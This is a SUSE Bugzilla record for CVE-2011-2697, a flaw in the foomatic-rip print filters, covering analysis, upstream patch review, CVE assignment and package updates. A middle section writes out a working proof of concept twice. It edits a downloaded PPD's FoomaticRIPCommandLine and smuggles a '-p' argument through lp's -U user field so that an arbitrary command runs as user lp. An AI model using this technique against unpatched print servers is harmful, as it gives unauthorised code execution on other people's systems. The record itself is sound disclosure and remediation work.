|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: CVE-2011-2697: foomatic-filters and hplip: arbitrary remote code execution as user lp via foomatic-rip and foomatic-rip-hplip | ||
|---|---|---|---|
| Product: | [Novell Products] SUSE Security Incidents | Reporter: | Sebastian Krahmer <krahmer> |
| Component: | General | Assignee: | Security Team bot <security-team> |
| Status: | RESOLVED FIXED | QA Contact: | E-mail List <qa-bugs> |
| Severity: | Major | ||
| Priority: | P2 - High | CC: | jsmeix, meissner, security-team |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | Other | ||
| OS: | Other | ||
| Whiteboard: | maint:released:11.3:42543 maint:released:11.4:42543 maint:released:sle11-sp1:42545 maint:released:sle10-sp4:42547 maint:released:sles9:42544 maint:released:sles9-sp3-teradata:42544 maint:released:sle10-sp3:42546 CVSSv2:NVD:CVE-2004-0801:7.5:(AV:N/AC:L/Au:N/C:P/I:P/A:P) | ||
| Found By: | --- | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
| Deadline: | 2011-07-26 | ||
| Attachments: |
The attached patch in Till Kamppeter's first reply mail
The attached patch matching to Till Kamppeter's second reply mail enhanced patch from upstream for the current C code foomatic-rip enhanced patch from upstream for the older foomatic-rip Perl script foomatic-rip-3.48.CVE-2011-2697.bnc698451.patch foomatic-rip-3.diff-upw |
||
|
Description
Sebastian Krahmer
2011-06-07 08:29:13 UTC
Sebastian do you have already a real exploit how code is actually executed? Do you have a command line example how a remote attacker submits his code and his false arguments to get his code executed? FYI: # file /usr/lib/cups/filter/foomatic-rip-hplip /usr/lib/cups/filter/foomatic-rip-hplip: a /usr/bin/perl script text # rpm -qf /usr/lib/cups/filter/foomatic-rip-hplip hplip-hpijs-3.11.5-1.2 hplip-hpijs is a sub-package of hplip In contrast: # file /usr/lib/cups/filter/foomatic-rip /usr/lib/cups/filter/foomatic-rip: symbolic link to `../../../bin/foomatic-rip' # file /usr/bin/foomatic-rip /usr/bin/foomatic-rip: ELF 32-bit LSB executable ... # rpm -qf /usr/bin/foomatic-rip foomatic-filters-4.0.6-0.2 /usr/lib/cups/filter/foomatic-rip-hplip is based on the old /usr/bin/foomatic-rip perl script. Meanwhile /usr/bin/foomatic-rip is a re-implementation of the foomatic-rip perl script in C but probably the same trick could be used also with the up-to-date /usr/bin/foomatic-rip so that you may like to check /usr/bin/foomatic-rip too. Yes, I have a full working PoC exploit as demonstrated yesterday on Marcus' HP printer. I may attach it here if it is helpfull. The new foomatic-rip is a binary true, I might check that too to see if it has the same problem. Which printer model should I add in CUPs admin page in order to get best foomatic-rip support? I found out how to execute arbitrary code: 1. Set up a queue which uses foomatic-rip-hplip i.e. use a PPD which has an "*cupsFilter: ... foomatic-rip-hplip" entry: # lpadmin -p testy -v file:/dev/null \ -P /usr/share/cups/model/manufacturer-PPDs/hplip/hp-laserjet_1220-hpijs-pcl3.ppd.gz \ -E 2. Get the PPD as normal user: $ wget http://localhost:631/printers/testy.ppd ... 2011-06-07 12:14:23 (308 MB/s) - `testy.ppd' saved [17993/17993] 3. Modify the PPD as normal user: Change the *FoomaticRIPCommandLine: entry (up to the *End line) as one likes, e.g. to this single line (without *End line: *FoomaticRIPCommandLine: "/bin/cp /etc/SuSE-release /tmp/testy.out" 4. Print a dummy job to find out the current job id as normal user: $ echo Hello | lp -d testy request id is testy-109 5. Print the malicious job as normal user: $ lp -d testy -U'-p/var/spool/cups/d00110-001' \ -o document-format=text/plain testy.ppd request id is testy-110 6: Verify that the FoomaticRIPCommandLine was actually executed: # ls -l /tmp/testy* -rw------- 1 lp lp 57 Jun 7 12:19 /tmp/testy.out # cat /tmp/testy.out openSUSE 11.4 (x86_64) VERSION = 11.4 CODENAME = Celadon Very many thanks for finding this issue! FYI: The main ideas behind are: On the one hand foomatic-rip trusts the content of the PPD file because it assumes only the admin can set up a print queue with a PPD file, see the "Technical Details" part in the "Printers with Ghostscript Support" section in http://en.opensuse.org/SDB:Information_for_Printer_Manufacturers_Regarding_Linux_Support On the other hand foomatic-rip provides the -p switch to let its user specify a PPD file so that foomatic-rip can also be used without a spooler (i.e. without a print queue). Both ideas together are no longer secure. As expected: Same with /usr/bin/foomatic-rip I think it is now time to inform the foomatic-rip main author Till Kamppeter <till.kamppeter@gmail.com> and the HPLIP team. How to reproduce with foomatic-rip: 1. Set up a queue which uses foomatic-rip i.e. use a PPD which has an "*cupsFilter: ... foomatic-rip" entry: # lpadmin -p testy2 -v file:/dev/null \ -P /usr/share/cups/model/OpenPrintingPPDs/ghostscript/Generic-PCL_5c_Printer.ljet4.ppd.gz \ -E If you don't have openSUSE 11.4 the Generic-PCL_5c_Printer.ljet4.ppd.gz is located in /usr/share/cups/model/Generic/PCL_5c_Printer-ljet4.ppd.gz 2. Get the PPD as normal user: $ wget http://localhost:631/printers/testy2.ppd ... 2011-06-07 12:38:59 (795 MB/s) - `testy2.ppd' saved [13829/13829] 3. Modify the PPD as normal user: Change the *FoomaticRIPCommandLine: entry (up to the *End line) as one likes, e.g. to this single line (without *End line: *FoomaticRIPCommandLine: "/bin/cp /etc/SuSE-release /tmp/testy2.out" 4. Print a dummy job to find out the current job id as normal user: $ echo Hello | lp -d testy2 request id is testy2-111 5. Print the malicious job as normal user: $ lp -d testy -U'-p/var/spool/cups/d00112-001' \ -o document-format=text/plain testy2.ppd request id is testy-112 6: Verify that the FoomaticRIPCommandLine was actually executed: # ls -l /tmp/testy2.out -rw------- 1 lp lp 57 Jun 7 12:40 /tmp/testy2.out # cat /tmp/testy2.out openSUSE 11.4 (x86_64) VERSION = 11.4 CODENAME = Celadon The bad news is: This issue exists "since ever" - i.e. in all our products. The (partially) good news is: For printing a trusted environment is a must. Nobody lets arbitrary users access his print queues. See http://en.opensuse.org/SDB:CUPS_and_SANE_Firewall_settings --------------------------------------------------------------------- First and foremost have the following section in the SuSEfirewall2 documentation in mind: /usr/share/doc/packages/SuSEfirewall2/README reads Some words about security: Run only those services you actually need. Think twice before opening them to the Internet. Do not expose services that are designed for use in a LAN to the Internet (like CUPS). --------------------------------------------------------------------- There is a copy and paste typo in comment #6. Correction: How to reproduce with foomatic-rip: ... 5. Print the malicious job as normal user: $ lp -d testy2 -U'-p/var/spool/cups/d00112-001' \ -o document-format=text/plain testy2.ppd request id is testy2-112 Yes, by looking at the C code it seems they perfectly ported the vulnerability from the perl script. The 2nd and the 3rd argument on the commandline seem to be passed by CUPS to the filter as user provided input. E.g. username or title, but the filters cannot distinguish it once they stuffed everything into one list/string. However it is important to notice that the user provided arguments wont contain any PPD etc. options. See "man 7 filter":
SYNOPSIS
filter job user title num-copies options [ filename ]
...
The command name (argv[0]) is set to the name of the destination printer
i.e.
filter = argv[0]
job = argv[1]
user = argv[2]
title = argv[3]
num-copies = argv[4]
options = argv[5]
and optionally
filename = argv[6]
argv[0],argv[1] and optionally argv[6] are set by the cupsd.
argv[2],...,argv[4] are pure user provided arguments.
argv[5] is mixed up set by the cupsd and user provided.
See "man 1 lp" how to set them:
E.g.:
$ echo Hello | lp -d testy -U MyUser -n 78 -t MyTitle \
-o Option1=Value1 -o Option2
request id is testy-122
Then with "LogLevel debug" in /etc/cups/cupsd.conf:
# grep 'Job 122' /var/log/cups/error_log
...
... argv[0]="testy"
... argv[1]="122"
... argv[2]="MyUser"
... argv[3]="MyTitle"
... argv[4]="78"
... argv[5]="finishings=3 number-up=1 Option1=Value1 Option2
job-uuid=urn:uuid:78fed2e2-3406-3677-70af-942e86c9904a
job-originating-host-name=localhost time-at-creation=1307450722
time-at-processing=1307450722 AP_D_InputSlot="
... argv[6]="/var/spool/cups/d00122-001"
If the filters would keep values as values so that in particular
the value for the -U/argv[2] and -t/argv[3] arguments would
stay as values for those arguments, everything would be o.k.
But currently the filters mix up values with arguments
so that a user or title value '-p/path/to/file.ppd'
becomes a new argument -p with new value /path/to/file.ppd
Note that the cupsd does not call the filtesr with the -p argument.
The cupsd calls them with
argv[2]="-p/var/spool/cups/d00nnn-001"
No problem with getting patch from upstream. Johannes can you try to get a patch from upstream? We will let assign a CVE id then. Sebastian,
please read what I had written in attachment #438005 [details]
whether or not this fix is sufficiently secure.
What do the security experts think?
Is Till's fix sufficiently secure?
checking... From what I see when testing the perl patch (and I guess the C version follows the same logic), it seems fixed for the cups spooler indeed. However you can still pass ppd file arguments for any other spooler, e.g. lprng. I dont know whether lprng would pass arguments like username or page title like cups was doing it to the invoked filter, but IF any other spooler than cups is doing so, you have the same problem again. I asked Till via mail whether or not other spoolers than CUPS could be also affected... Created attachment 439373 [details]
enhanced patch from upstream for the current C code foomatic-rip
Created attachment 439374 [details]
enhanced patch from upstream for the older foomatic-rip Perl script
Sebastian, attachment #439372 [details] is Till Kamppeter's reply to your question in comment #21 attachment #439373 [details] is an enhanced patch from upstream for the current C code foomatic-rip attachment #439374 [details] is an enhanced patch from upstream for the older foomatic-rip Perl script but I did not yet test them... What do you think? Are Till's enhanced fixes sufficiently secure? From what I read from the mail, it seems to suffice. As no spooler-daemon is any longer parsing PPD options, it should be OK. I dont have the time yet to really dig into the new patch though. But taking into account my review of the last patch, it should be OK. I am going to make this public and request a CVE via OSS-security. The SWAMPID for this issue is 42155. This issue was rated as moderate. Please submit fixed packages until 2011-07-26. When done, please reassign the bug to security-team@suse.de. Patchinfo will be handled by security team. CVE requested CVE-2011-2697 Re: [oss-security] CVE Request: hplip/foomatic-filters Von: Tomas Hoger <thoger@redhat.com> An: oss-security@lists.openwall.com On Thu, 28 Jul 2011 11:21:15 +0200 Tomas Hoger wrote: > > > https://bugzilla.novell.com/show_bug.cgi?id=698451 > > > > Please use CVE-2011-2697 for this. > > According to SUSE bug, there are two different implementations of the > filter - one in perl and one in c - in different foomatic versions. > Both are affected by the same kind of problem, even though they don't > share vulnerable code. Is one CVE sufficient here, or is Mitre likely > to split and assign another when this is processed? Steven? For posterity: there are 2 CVEs now - CVE-2011-2697 for perl-based filter in foomatic 3.x, and CVE-2011-2964 for C-based filter in foomatic 4.x. -- Tomas Hoger / Red Hat Security Response Team Submitted foomatic-filters to SUSE:SLE-11-SP1:Update:Test via submitrequest 13988 to the internal build service with the patch in attachment #439374 [details] see comment #25. FYI: When testing it, there is an easy way to identify whether or not foomatic-rip uses the right PPD file: With "LogLevel debug" in /etc/cups/cupsd.conf (and restarted cupsd) foomatic-rip logs the PPD file to /var/log/cups/error_log. A correct PPD file log entry looks like -------------------------------------------------------------------- ... [Job NNN] PPD file: /etc/cups/ppd/<queue_name>.ppd -------------------------------------------------------------------- i.e. it uses the PPD file from the system in /etc/cups/ppd/... In contrast a wrong PPD file (see comment #4) may look like -------------------------------------------------------------------- ... [Job 172] PPD file: /var/spool/cups/d00NNN-001 -------------------------------------------------------------------- i.e. it uses the print job data as PPD file. Created attachment 444356 [details] foomatic-rip-3.48.CVE-2011-2697.bnc698451.patch This patch is the backported fix for the foomatic-rip which we have in SLE-10-SP# Submitted foomatic-filters to SUSE:SLE-10-SP4:Update:Test via submitrequest 14010 to the internal build service with the patch in attachment #444356 [details] see comment #36. Maintenace team, according to the output of "is_maintained foomatic-filters" foomatic-filters is maintained for sle10-sp4 and for sle10-sp3. I submitted it to SUSE:SLE-10-SP4:Update:Test (see comment #37) but I wonder if I need to submit the same additionally to SUSE:SLE-10-SP3:Update:Test there was never a foomatic-filters update in SLE10 apparently, so there is just one version. you need to only submit to SUSE:SLE-10-SP3:Update:Test. Created attachment 444364 [details] foomatic-rip-3.diff-upw The attached patches in this bug look very confusing because a lot of lines which were only moved into the ------------------------------------------------------------------------------ if (($spooler ne 'cups') && ($spooler ne 'ppr') && ($spooler ne 'ppr_int')) { ... } ------------------------------------------------------------------------------ clause are not actually changed but only indented. Therefore here a diff which ignores all white space stuff which makes it much more clear what the real changes are. This foomatic-rip-3.diff-upw matches to Till's enhanced patch for the older foomatic-rip Perl script in attachment #439374 [details] Marcus, really to SUSE:SLE-10-SP3:Update:Test and not to SUSE:SLE-10-SP4:Update:Test? Does it mean that I should revoke submitrequest 14010 and re-submit it for SUSE:SLE-10-SP3:Update:Test? Submitted foomatic-filters to SUSE:SLE-9-SP4:Update:Test via submitrequest 14023 to the internal build service with the patch from SLE10 in attachment #444356 [details] (see comment #36) which applies also to foomatic-rip 3.43 in SLE9 (with an offset of -2 lines). johannes, for sle10 spx the abuild team will sort it out. As there was just one source in sle10, so the update will be checked into sle10 sp3 update tree for both sp3 and sp4. just leave it as is. FYI regarding SLE11-SP2: Submitted HPLIP 3.11.5 to SUSE:SLE-11-SP2:GA via submitrequest 14060: Version upgrade to HPLIP 3.11.5 (Fate #312667) plus fixed CVE-2011-2697 (Bug #698451) plus fixed leftover in CVE-2004-0801 (Bug #59233). Regarding HPLIP: Regarding SLE9: There is no HPLIP in SLE9. Regarding SLE10: HPLIP in SLE10 is not affected because there is no foomatic-rip in our RPM packages. I verified this with: ---------------------------------------------------------------- for r in /work/CDs/all/full-sle10*/suse/*/hplip*rpm ; \ do rpm -qlp $r | grep foomatic-rip ; done ---------------------------------------------------------------- which results no output. Instead the foomatic-rip of the foomatic-filters RPM is used. Regarding SLE11: Since SLE11 foomatic-rip-hplip is installed (and used) so that since SLE11 HPLIP is affected. Submitted hplip to SUSE:SLE-11-SP1:Update:Test via submitrequest 14078: Fixed CVE-2011-2697 (bnc#698451) plus fixed leftover in CVE-2004-0801 (bnc#59233) From my point of view the issue is now fixed in all maintained SLE products. Submitted foomatic-filters to openSUSE:11.3:Update:Test via submitrequest 78464: Fixed CVE-2011-2697 (bnc#698451) sles packages released, box packages will be released ASAP, closing. Submitted foomatic-filters to openSUSE:11.4:Update:Test via submitrequest 78497: Fixed CVE-2011-2697 (bnc#698451) Now it is fixed for foomatic-filters for all maintained products. Reopening because hplip for 11.3 and 11.4 is not yet fixed and foomatic-filters and hplip are not yet fixed for openSUSE:Factory. FYI regarding openSUSE:Factory: Fixed via version upgrade to current foomatic-filters-4.0.9 Submitted foomatic-filters-4.0.9 to the OBS Printing project via submitrequest 78510 and to openSUSE:Factory via submitrequest 78518: Verion upgrade to current foomatic-filters-4.0.9 which fixes in particular CVE-2011-2697 (bnc#698451) FYI: --------------------------------------------------------------------------- Date: Thu, 11 Aug 2011 14:03:42 +0200 (CEST) From: ro <ro@suse.de> Reply-To: suse-dist@suse.de To: jsmeix@novell.com Cc: jsmeix@suse.de Subject: /work/src/done/SLE11-SP1/hplip not checked in Script 'mail_helper' called by ro Hi jsmeix@novell.com, /work/src/done/SLE11-SP1/hplip was not checked in by ro for the following reasons: (submitrequest 14078 on https://build.suse.de) bug 704608 not yet fixed but listed in patchinfo your dist/autobuild team. --------------------------------------------------------------------------- Comment #29 reads: The SWAMPID for this issue is 42155. In contrast https://bugzilla.novell.com/show_bug.cgi?id=704608#c9 reads: --------------------------------------------------------------------------- The SWAMPID for this issue is 42548. --------------------------------------------------------------------------- I wonder how bug #704608 with SWAMPID 42548 is listed in patchinfo for this bug #698451 with SWAMPID 42155. Submitted hplip to openSUSE:11.3:Update:Test via submitrequest 78534: Fixed CVE-2011-2697 (bnc#698451) plus fixed leftover in CVE-2004-0801 (bnc#59233) Submitted hplip to openSUSE:11.4:Update:Test via submitrequest 78539: Fixed CVE-2011-2697 (bnc#698451) plus fixed leftover in CVE-2004-0801 (bnc#59233) From my point of view the issue is now fixed in all maintained products. I have to specify a comment when changing the status of a bug from NEEDINFO to RESOLVED. Reopening and reassign to security-team@suse.de according to comment #29 Regarding comment #62: Perhaps I know which SWAMPID have been mixed up here. This bug 698451 with SWAMPID 42155 and bug 59233 with SWAMPID 42548 are fixed together because both bugs belong to foomatic-rip in foomatic-filters and foomatic-rip-hplip in hplip, see what I wrote in https://bugzilla.novell.com/show_bug.cgi?id=59233#c20 "I will fix it when fixing bug #698451". In contrast bug 704608 with SWAMPID 42548 (same as bug 59233) is currently stuck and will not be fixed at least for now, see https://bugzilla.novell.com/show_bug.cgi?id=704608#c10 Therefore I assume: This bug 698451 and bug 59233 should have the same SWAMPID to match that both are fixed together. In contrast bug 704608 should have a different SWAMPID so that it can be handled independent of bug 698451 and bug 59233 Update released for: foomatic-filters, foomatic-filters-debuginfo, foomatic-filters-debugsource Products: openSUSE 11.3 (debug, i586, x86_64) openSUSE 11.4 (debug, i586, x86_64) Update released for: foomatic-filters Products: SLE-DESKTOP 10-SP4 (i386, x86_64) SLE-SERVER 10-SP4 (i386, ia64, ppc, s390x, x86_64) FYI regarding openSUSE:Factory: Fixed via version upgrade to current HPLIP 3.11.7 and changes to avoid the security issues. Submitted HPLIP 3.11.7 to the OBS Printing project via submitrequest 78629 and to openSUSE:Factory via submitrequest 78646: Version upgrade to HPLIP 3.11.7 and avoid CVE-2011-2697 (bnc#698451) plus CVE-2004-0801 (bnc#59233) by no longer installing foomatic-rip-hplip and using foomatic-rip from the foomatic-filters RPM instead From my point of view the issue is now completely fixed in all products. (In reply to comment #62) > FYI: ... > Hi jsmeix@novell.com, > /work/src/done/SLE11-SP1/hplip was not checked in by ro for the following > reasons: > (submitrequest 14078 on https://build.suse.de) > > bug 704608 not yet fixed but listed in patchinfo ... > I wonder how bug #704608 with SWAMPID 42548 > is listed in patchinfo for this bug #698451 with SWAMPID 42155. Patchinfo was messed up. I was not thoroughly enough in cleaning it it seems, will fix it... everything fine now updates released |